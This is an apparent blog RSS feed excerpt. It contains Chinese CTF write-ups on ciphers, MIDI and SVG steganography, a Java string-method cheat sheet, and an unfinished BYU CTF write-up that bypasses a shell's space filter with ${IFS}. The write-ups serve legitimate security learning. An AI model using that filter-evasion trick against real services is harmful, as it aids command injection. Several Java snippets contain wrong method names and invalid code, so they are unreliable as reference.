&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=b99a83ec-2b5a-4978-bfc4-81d4e2c26289&quot;&gt;CTF²&lt;/a&gt;
附件给了字符串，结合题目提示“得到的flag请包上flag{}提交”猜测synt对应flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import sys

def rot13_keep_digits(text: str) -&amp;gt; str:
    &quot;&quot;&quot;
    对文本进行 ROT13 解密（字母移位 13 位）。
    数字、标点等字符保持原样，不做任何转换。
    &quot;&quot;&quot;
    result = []
    for char in text:
        if &apos;a&apos; &amp;lt;= char &amp;lt;= &apos;z&apos;:
            # 小写字母 a..z 循环移 13 位
            result.append(chr((ord(char) - ord(&apos;a&apos;) + 13) % 26 + ord(&apos;a&apos;)))
        elif &apos;A&apos; &amp;lt;= char &amp;lt;= &apos;Z&apos;:
            # 大写字母 A..Z 循环移 13 位
            result.append(chr((ord(char) - ord(&apos;A&apos;) + 13) % 26 + ord(&apos;A&apos;)))
        else:
            # 数字、空格、标点等保持原样
            result.append(char)
    return &apos;&apos;.join(result)

def main():
    ciphertext = sys.stdin.read()
    plaintext = rot13_keep_digits(ciphertext)
    sys.stdout.write(plaintext)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-038.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;15Quoted-printable&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之前都不知道还有Quoted-printable编码😄
&lt;img src=&quot;img-039.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;16变异凯撒&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=afb6516e-0648-4087-962f-f420396d2e06&quot;&gt;CTF²&lt;/a&gt;
传统凯撒密码为固定移位，但是本题根据传统凯撒无法从&lt;code&gt;afZ_&lt;/code&gt;解出&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;密文字符&lt;/th&gt;
&lt;th&gt;密文 ASCII&lt;/th&gt;
&lt;th&gt;推测明文字符&lt;/th&gt;
&lt;th&gt;明文 ASCII&lt;/th&gt;
&lt;th&gt;差值（偏移量）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;97&lt;/td&gt;
&lt;td&gt;&lt;code&gt;f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;102&lt;/td&gt;
&lt;td&gt;+5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;102&lt;/td&gt;
&lt;td&gt;&lt;code&gt;l&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;108&lt;/td&gt;
&lt;td&gt;+6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;90&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;97&lt;/td&gt;
&lt;td&gt;+7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;_&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;td&gt;&lt;code&gt;g&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td&gt;+8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;114&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;td&gt;+9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;所以可以推出解密规则&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;对密文第 i 个字符（i 从 0 开始），将 ASCII 码加上 &lt;strong&gt;(i + 5)&lt;/strong&gt;，即可得到明文字符。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;cipher = &quot;afZ_r9VYfScOeO_UL^RWUc&quot;
plain = &quot;&quot;

for i in range(len(cipher)):
    offset = i + 5
    plain += chr(ord(cipher[i]) + offset)

print(plain)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>JuniorCrypt2026的WP</title><link>https://clairis.cn/posts/15juniorcrypt/</link><guid isPermaLink="true">https://clairis.cn/posts/15juniorcrypt/</guid><pubDate>Sun, 12 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;1000-7&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;img-001.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有些旋律会一直留在你的&lt;strong&gt;脑海里&lt;/strong&gt;。&lt;br /&gt;
有些旋律则会在离开后留下&lt;strong&gt;别的东西&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;h4&gt;检查文件&lt;/h4&gt;
&lt;p&gt;先检查附件，其后缀为 &lt;strong&gt;.mid&lt;/strong&gt;，所以存储的是MIDI指令/事件，它通常会记录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;什么时候按下哪个音符
什么时候松开
按键力度多大
使用什么乐器
音量是多少
音高怎么变化
节拍和速度是多少
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时又根据题目“有些旋律会在离开后留下别的东西”，所以数据被隐藏在MIDI文件中&lt;/p&gt;
&lt;h4&gt;安装读取MIDI的Python库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install python3-mido -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;观察MIDI中有什么&lt;/h4&gt;
&lt;p&gt;新建文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;check.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开后写入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from mido import MidiFile
from collections import Counter

# 打开 MIDI 文件
midi = MidiFile(&quot;chal.mid&quot;)

print(&quot;MIDI 类型：&quot;, midi.type)
print(&quot;轨道数量：&quot;, len(midi.tracks))

for number, track in enumerate(midi.tracks):
    print(&quot;\n轨道编号：&quot;, number)
    print(&quot;轨道名称：&quot;, track.name)

    # 统计每一种 MIDI 消息出现了多少次
    types = []

    for message in track:
        types.append(message.type)

    print(&quot;消息类型统计：&quot;)
    print(Counter(types))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存后运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 check.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-002.png&quot; alt=&quot;&quot; /&gt;
从中我们可以看出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MIDI类型：1   ——  文件中可以包含多条轨道，各轨道分别保存不同内容，但共用同一时间轴。
轨道数量：2  ——  文件共有两条轨道，轨道0和轨道1

轨道0：
名称：Unravel - Tokyo Ghoul
包含事件：
	track_name：1  ——  曲目名称
	set_tempo：1  ——  音乐速度
	end_of_track：1  ——  轨道结束标记
因此，轨道0没有实际内容，只保存曲名和速度等全局信息

轨道1：实际演奏内容
其中：
	note_on：2015  ——  按下
	note_off：2015  ——  松开
但是
	pitchwheel：752  ——  752个弯音轮（临时升高或降低音高）事件，这里的pitchwheel事件数量过多十分可疑
其他消息：
	control_change：6  ——  控制音量、踏板等参数
	program_change：1  ——  切换乐器音色
	time_signature：1  ——  拍号，例如4/4拍
的数量都比较少，看起来比较正常
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;所以当前最重要的是提取这752个pitchwheel，看看它们有哪些数值以及是否存在规律&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;查看pitchwheel具体数值&lt;/h4&gt;
&lt;p&gt;新建python文件check2.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from mido import MidiFile
from collections import Counter

midi = MidiFile(&quot;chal.mid&quot;)

pitch_values = []

# 遍历所有轨道和所有 MIDI 消息
for track in midi.tracks:
    for message in track:

        # 只提取 pitchwheel 弯音事件
        if message.type == &quot;pitchwheel&quot;:
            pitch_values.append(message.pitch)

print(&quot;pitchwheel 总数量：&quot;, len(pitch_values))

print(&quot;不同数值及出现次数：&quot;)
print(Counter(pitch_values))

print(&quot;前 30 个 pitchwheel 数值：&quot;)
print(pitch_values[:30])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行后得到
&lt;img src=&quot;img-003.png&quot; alt=&quot;&quot; /&gt;
从结果我们可以看出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pitchwheel总数量：752
数值有：2304  -2304且二者的出现次数都为376
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时也可以猜测有两种组合：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(2304, -2304)
(-2304, 2304)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;统计两种组合&lt;/h4&gt;
&lt;p&gt;新建文件check3.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from mido import MidiFile
from collections import Counter

midi = MidiFile(&quot;chal.mid&quot;)

pitch_values = []

# 提取所有 pitchwheel 数值
for track in midi.tracks:
    for message in track:
        if message.type == &quot;pitchwheel&quot;:
            pitch_values.append(message.pitch)

pairs = []

# 每两个数值组成一组
for i in range(0, len(pitch_values), 2):
    first = pitch_values[i]
    second = pitch_values[i + 1]

    pairs.append((first, second))

print(&quot;总共有多少组：&quot;, len(pairs))

print(&quot;不同组合及出现次数：&quot;)
print(Counter(pairs))

print(&quot;前 20 组：&quot;)
print(pairs[:20])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-004.png&quot; alt=&quot;&quot; /&gt;
从输出结果可以看出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;总共有376组
只有两种组合：(2304，-2304)出现了193次；(-2304，2304)出现了183次
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明作者是故意让两个相反的弯音值组成一组，刚好可以表示&lt;strong&gt;0&lt;/strong&gt;和&lt;strong&gt;1&lt;/strong&gt;
另外，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;376/8 = 47
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，这些数据可以组成47个字节。ASCII文本通常一个字节对应一个字符，所以很可能藏有47个字符的文本&lt;/p&gt;
&lt;h4&gt;将两种组合转换成文本0和1&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;from mido import MidiFile

midi = MidiFile(&quot;chal.mid&quot;)

pitch_values = []

# 提取所有 pitchwheel 的数值
for track in midi.tracks:
    for message in track:
        if message.type == &quot;pitchwheel&quot;:
            pitch_values.append(message.pitch)

bits = &quot;&quot;

# 每两个数值作为一组
for i in range(0, len(pitch_values), 2):
    pair = (pitch_values[i], pitch_values[i + 1])

    # 先上升再下降，记为 1
    if pair == (2304, -2304):
        bits += &quot;1&quot;

    # 先下降再上升，记为 0
    elif pair == (-2304, 2304):
        bits += &quot;0&quot;

    # 出现其他组合就报出来
    else:
        print(&quot;发现异常组合：&quot;, pair)

print(&quot;二进制位数：&quot;, len(bits))

print(&quot;完整二进制：&quot;)
print(bits)

print(&quot;\n每 8 位分成一组：&quot;)

for i in range(0, len(bits), 8):
    print(bits[i:i + 8], end=&quot; &quot;)

print()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-005.png&quot; alt=&quot;&quot; /&gt;
每8位试着转换成一个字符&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;11000000  → 192，干扰字符
11011110  → 222，干扰字符
00101010  → *
01100111  → g
01110010  → r
01101111  → o
01100100  → d
01101110  → n
01101111  → o
01111011  → {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此后面很明显出现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grodno{
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;与flag格式相符，说明我们的解码方向正确&lt;/p&gt;
&lt;h4&gt;每八位转换成字符&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;from mido import MidiFile

midi = MidiFile(&quot;chal.mid&quot;)

pitch_values = []

# 提取所有 pitchwheel 数值
for track in midi.tracks:
    for message in track:
        if message.type == &quot;pitchwheel&quot;:
            pitch_values.append(message.pitch)

bits = &quot;&quot;

# 每两个 pitchwheel 事件转换成一个二进制位
for i in range(0, len(pitch_values), 2):
    pair = (pitch_values[i], pitch_values[i + 1])

    if pair == (2304, -2304):
        bits += &quot;1&quot;

    elif pair == (-2304, 2304):
        bits += &quot;0&quot;

# 保存解码后的文本
text = &quot;&quot;

# 每 8 位二进制转换成一个字符
for i in range(0, len(bits), 8):
    one_byte = bits[i:i + 8]

    # 把二进制转换成十进制
    number = int(one_byte, 2)

    # 把十进制转换成字符
    character = chr(number)

    text += character

print(&quot;解码结果：&quot;)
print(repr(text))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-006.png&quot; alt=&quot;&quot; /&gt;
所以最终flag为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grodno{U1tr@_m3g@_5up3r_Gul_M1d_SF_1000-7}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Ghost Layers&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;img-007.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What stays visible is not always what matters most.&lt;br /&gt;
一直可见的东西，并不总是最重要的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;h4&gt;检查文件&lt;/h4&gt;
&lt;p&gt;查看文件后缀为.svg文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.svg是一种矢量图片文件，全称是：
Scalable Vector Graphics（可缩放矢量图形）
SVG通常用代码描述图形，例如线条、圆形、颜色和文字
特点：
	放大不会模糊；
	文件通常比较小；
	可用浏览器直接打开；
	可以修改颜色、大小和形状；
	本质上是一种XML文本文件，可以用VS Code、记事本打开查看代码
	可以通过CSS或JavaScript添加动画和交互
SVG内部可以包含脚本代码
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;寻找隐藏数据&lt;/h4&gt;
&lt;p&gt;SVG中通常会在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mask        蒙版
clipPath    裁剪
opacity     透明度
display     是否显示
visibility  是否可见
defs        只定义、不直接显示
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;中隐藏数据
于是先用VS Code打开文件，再用CTRL+F搜索“mask”，找到名字为“mk9”的蒙版
&lt;img src=&quot;img-008.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;mask id=&quot;mk9&quot;&amp;gt;
    &amp;lt;rect x=&quot;0&quot; y=&quot;0&quot;
          width=&quot;577&quot;
          height=&quot;635&quot;
          fill=&quot;black&quot;/&amp;gt;

    &amp;lt;polyline points=&quot;...&quot;
              stroke=&quot;white&quot;
              .../&amp;gt;
&amp;lt;/mask&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以理解为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;黑色区域：隐藏
白色区域：显示
灰色区域：部分显示
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里先使用黑色矩形遮住整个画布，然后指通过一些白色线条显示少量内容，因此隐藏图形很难被观察到&lt;/p&gt;
&lt;h4&gt;找到使用蒙版的图层&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;img-009.png&quot; alt=&quot;&quot; /&gt;
从中我们可以看到信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;g id=&quot;ghost-wash&quot;
   opacity=&quot;0.72&quot;   ——  降低透明度
   mask=&quot;url(#mk9)&quot;  ——  使用蒙版mk9
   filter=&quot;url(#glowSoft)&quot;&amp;gt;  ——  使用发光、模糊效果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时还有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;clip-path=&quot;url(#cp4)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明真正决定图形轮廓的可能是cp4&lt;/p&gt;
&lt;h4&gt;分析cp4的裁剪路径&lt;/h4&gt;
&lt;p&gt;搜索&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=&quot;cp4&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-010.png&quot; alt=&quot;&quot; /&gt;
引用id为s17的图形，并把它作为裁剪区域
于是继续搜索&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=&quot;s17&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;g id=&quot;s17&quot;&amp;gt;
    &amp;lt;g transform=&quot;translate(62.500,454.000)
                  scale(0.009400,-0.009400)&quot;
       fill=&quot;#f8efc9&quot;
       stroke=&quot;#f8efc9&quot;
       stroke-width=&quot;36&quot;
       stroke-linejoin=&quot;round&quot;&amp;gt;

        &amp;lt;path d=&quot;...&quot;/&amp;gt;
        &amp;lt;path d=&quot;...&quot;/&amp;gt;
        ...
    &amp;lt;/g&amp;gt;
&amp;lt;/g&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;s17&lt;/code&gt; 内部包含大量 &lt;code&gt;&amp;lt;path&amp;gt;&lt;/code&gt; 标签。
这些路径不是随机数据，而是由文字转换得到的矢量轮廓。也就是说，隐藏的 Flag 已经被转换为一组路径，所以直接搜索：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grodno
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无法找到明文&lt;/p&gt;
&lt;h4&gt;隐藏原理&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;s17
│
│ 保存 Flag 文字的矢量路径
↓
cp4
│
│ 将 s17 作为裁剪形状
↓
ghost-wash
│
│ 只在 Flag 文字内部绘制渐变和线条
↓
mk9
│
│ 再通过蒙版遮挡绝大部分区域
↓
glowSoft + opacity
│
│ 添加发光并降低透明度
↓
Flag 变得若隐若现
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是试图直接显示隐藏图层&lt;/p&gt;
&lt;h3&gt;EXP&lt;/h3&gt;
&lt;p&gt;先将原文件复制一份
用VS Code打开文件，跳转到结尾，找到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在其前面加上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;rect x=&quot;0&quot;
      y=&quot;390&quot;
      width=&quot;577&quot;
      height=&quot;110&quot;
      fill=&quot;black&quot;/&amp;gt;

&amp;lt;use href=&quot;#s17&quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存文件后用浏览器打开即可看见flag
&lt;img src=&quot;img-011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Java字符串操作</title><link>https://clairis.cn/posts/01java%E5%AD%A6%E4%B9%A0/13java%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%93%8D%E4%BD%9C/</link><guid isPermaLink="true">https://clairis.cn/posts/01java%E5%AD%A6%E4%B9%A0/13java%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%93%8D%E4%BD%9C/</guid><pubDate>Sun, 12 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Java考试前的补天&lt;/p&gt;
&lt;h1&gt;String&lt;/h1&gt;
&lt;h2&gt;判断字符串相等&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//判断字符串相等
String s = &quot;abc&quot;;
if(s.equals(&quot;abc&quot;)){
	System.out.println(&quot;字符串相等&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;取某个位置的字符&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;常用于遍历字符串&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot;hello&quot;;
char ch = str.charAt(0);  //&apos;h&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;长度&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;str.length()  //字符串长度
arr.length  //数组长度
list.size()  //集合长度
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;判断是否包含&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot;hello world&quot;;
if(str.contains(&quot;world&quot;)){
	System.out.println(&quot;包含world&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;判断开头结尾&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot;Hello world&quot;;

str.startWith(&quot;Hello&quot;);  //是否以Hello开头
str.endWith(&quot;world&quot;);  //是否以world结尾
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;截取字符串&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot;abcdef&quot;;
String s1 = str.substring(2);  //cdef
String s2 = str.substring(1,4);  //bcd
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;查找位置——indexOf&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot;hello&quot;;

int index = str.indexOf(&quot;e&quot;);
//返回下标1；找不到返回-1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;替换字符串——replace()&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot;hello&quot;;
String newstr = str.replace(&quot;l&quot;,&quot;x&quot;); 
System.out.println(newstr);  //hexxo
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;去掉首尾空格——trim()&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot; hello&quot;;
str = str.trim();  //&quot;hello&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;大小写转换&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String str = &quot;Hello&quot;;
System.out.println(str.toUpperCase());  //HELLO
System.out.println(str.toLowerCase());  //hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;char&lt;/h1&gt;
&lt;h2&gt;判断是否是数字&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char ch = &apos;5&apos;;
if(Character.isDigit(ch)){
	System.out.println(&quot;是数字&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;判断是否是字母&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char ch = &apos;A&apos;;
if(Character.isLetter(ch)){
	System.out.println(&quot;是字母&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;判断大小写字母&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Character.isUpperCade(ch);  //是否大写
Character.isLowerCase(ch);  //是否小写
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;大小写转换&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char ch = &apos;a&apos;;
char upper = Character.toUpperCase(ch);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;字符转整数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char ch = &apos;a&apos;;
int num = ch - &apos;0&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;StringBuilder&lt;/h1&gt;
&lt;h2&gt;创建StringBuilder&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;StringBuilder sb = new StringBuilder()&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;追加内容&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;result.append(&quot;hello&quot;);
System.out.println(result.toString());
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;反转字符串——判断回文&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;StringBuilder sb = new StringBuilder(&quot;abc&quot;);
sb.reverse();
System.out.println(sb);  //cba
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;//判断回文
String str = &quot;aba&quot;;

String str2 = new StringBuilder(str).reverse().toString();

if(str.equals(str2)){
	System.out.println(&quot;是回文&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;删除——deleteCharAt()&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;StringBuilder sb = new StringBuilder(&quot;abc&quot;);
sb.deleteCharAt(1);  //ac
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;插入——insert()&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;StringBuilder sb = new StringBuilder(&quot;hllo&quot;);
sb.insert(1,&quot;e&quot;);//hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;修改——secCharAt()&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;StringBuilder sb = new StringBuilder(&quot;abc&quot;);
sb.setCharAt(1,&quot;x&quot;);  //axc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最后要转String&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;StringBuilder sb = new StringBuilder();

sb.append(&quot;abc&quot;);

String result = sb.toString();
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>BYU CTF的WriteUp</title><link>https://clairis.cn/posts/14byuctf/</link><guid isPermaLink="true">https://clairis.cn/posts/14byuctf/</guid><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;&lt;code&gt;Misc&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;code&gt;1.Inception&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;I found this weird file on my computer. I tried opening it, but there were some problems.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣首先对附件进行检查
附件为&lt;code&gt;png&lt;/code&gt;图片，所以复制附件并添上后缀，得到第一部分的&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;byuctf{wh4t_
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2‍⃣同时用&lt;code&gt;binwalk&lt;/code&gt;检查并提取隐藏内容
提取出来的有：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4F3 4F3.zlib
29 29.zlib
337.zip data.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分别读取各附件得到&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;从data.bin得到flag的第二部分
	th3
从4F3中得到第三部分
	_fr3ak}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终&lt;code&gt;flag&lt;/code&gt;为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;byuctf{wh4t_th3_fr3ak}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;code&gt;2.Easy&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Okay, easy mode is turned on. You know how to use bash, right?

chals.cyberjousting.com:1370
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣首先使用&lt;code&gt;nc&lt;/code&gt;连接题目服务
输入&lt;code&gt;pwd&lt;/code&gt;测试当前目录
&lt;img src=&quot;img-001.png&quot; alt=&quot;&quot; /&gt;
根据返回结果得知当前工作目录在&lt;code&gt;/app&lt;/code&gt;
2‍⃣发现过滤规则
尝试查看当前目录文件，但根据返回的报错可以看出：题目服务会删除命令中的空格
&lt;img src=&quot;img-002.png&quot; alt=&quot;&quot; /&gt;
3‍⃣绕过空格过滤
用&lt;code&gt;${IFS}&lt;/code&gt;代替空格使用
&lt;img src=&quot;img-003.png&quot; alt=&quot;&quot; /&gt;
但还是会报错：说明不能直接使用普通外部命令
4‍⃣使用 &lt;code&gt;bash&lt;/code&gt; 内置功能列目录
&lt;img src=&quot;img-004.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;img-005.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
